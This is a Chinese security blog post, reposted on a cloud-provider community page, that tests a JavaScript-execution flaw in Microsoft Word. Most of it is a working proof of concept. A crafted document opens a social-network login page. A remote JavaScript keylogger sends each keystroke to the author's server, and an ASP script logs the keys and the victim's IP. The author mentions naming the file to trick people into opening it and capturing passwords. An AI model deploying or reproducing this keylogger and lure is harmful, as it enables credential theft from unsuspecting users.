對MS word javascript execution的一些測試

來源:互聯網
上載者:User

作者:餘弦
來源:0×37 Security

Microsoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群內討論過。可以得出一些結論:

1、由於安裝Q313675 安全Hotfix後禁用ActiveX 內聯資料流功能,使得利用JS直接建立ActiveX對象而執行惡意codz的方法不可行。如下code:

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write(&lt;script src=http://www.0x37.com/doc.js&gt;&lt;/script&gt;)"></OBJECT>
這個遠端doc.js檔案能力有限。但是彈出對話方塊或一個新視窗還是可以的。

2、漏 洞其實出現在xml檔案上,類似於上面這樣構造後的html用word開啟後另存新檔xml時,裡面的資料都被相應轉換為xml格式。然而xml裡 的<w:ocx w:data=”……” />卻可以引發JS的執行。問題就出現在這。而無論尾碼是.doc或.rtf或.xml都將以word預設開啟,此時word充當一個解釋 器,<w:ocx w:data=”……” />內的資料被解釋執行而引發JS。

3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因與修補這個漏洞這些資訊還是有價值的。

既然這個JS能力有限,那就來點好玩的,如這裡提到過的:http://www.0×37.com/post/15.html。下面這個POC是這樣進行的:當使用者開啟我們惡意構造後的word文檔doc.doc後,會彈出校內網的首頁http://www.xiaonei.com(拿它做實驗,完全是出於我的慣性……)。接著我們就可以記錄使用者在這個頁面上的鍵盤記錄了:)。也許密碼就直接抓過來了(假如其他使用者和我一樣,開啟校內網就直接快速輸入密碼然後Enter,這個完全是習慣……)。

doc.html代碼如下:

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open(http://www.xiaonei.com/);setInterval (function(){try{x.frames[0].location={toString:function(){return%20′http://www.0×37.com/Project/poc/docshell.html’;}}}catch(e){}},3000);void(1);”></OBJECT>
HI
按照http://marc.info/?l=bugtraq&m=121121432823704&w=2這裡的方法產生doc.doc文檔(這就是那個邪惡的文檔,改個好名字,方便騙人開啟)。

遠端docshell.html代碼如下:

<html>
<body bgcolor="#333333">
<div id="o"></div>
<input type=text id="x" style="width:0;height:0">
<script>
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
document.onkeydown=function(e){
if(!e)e=window.event;
try{
tmp=(String.fromCharCode(e.which||e.keyCode));
_3or7("GET","asp?tmp=”+tmp,null">http://www.0×37.com/Project/poc/docshell.asp?tmp=”+tmp,null);
}catch(ex){}
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
_x.send(_a);
return _x.responseText;
}
setInterval(function(){try{document.getElementById(’x).focus();}catch(e){}},100);
focus();
</script>
</body>
</html>
而遠端docshell.asp代碼如下:

<%
ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip="" Then
ip=Request.ServerVariables("REMOTE_ADDR")
End If
tmp=Request.QueryString("tmp")
Response.write(tmp)
filename="docshell.txt"
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set file=fso.OpenTextFile(server.mappath(filename),8,true)
file.write(ip+">> "+tmp+chr(13))
file.close
set file=nothing
set fso=nothing
%>
接著就可以在這http://www.0×37.com/Project/poc/docshell.txt看到我們鍵盤記錄的結果:)。完整檔案在這:http://www.0×37.com/Project/poc/wordjs.rar。不過這個鍵盤記錄還是有缺陷的,本想結合這裡http://www.0×37.com/post/15.html提到的方法來構造更邪惡的代碼,可是並不順利……那以後再說了:)。現在就等老胡大牛關於這個漏洞的進一步訊息。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.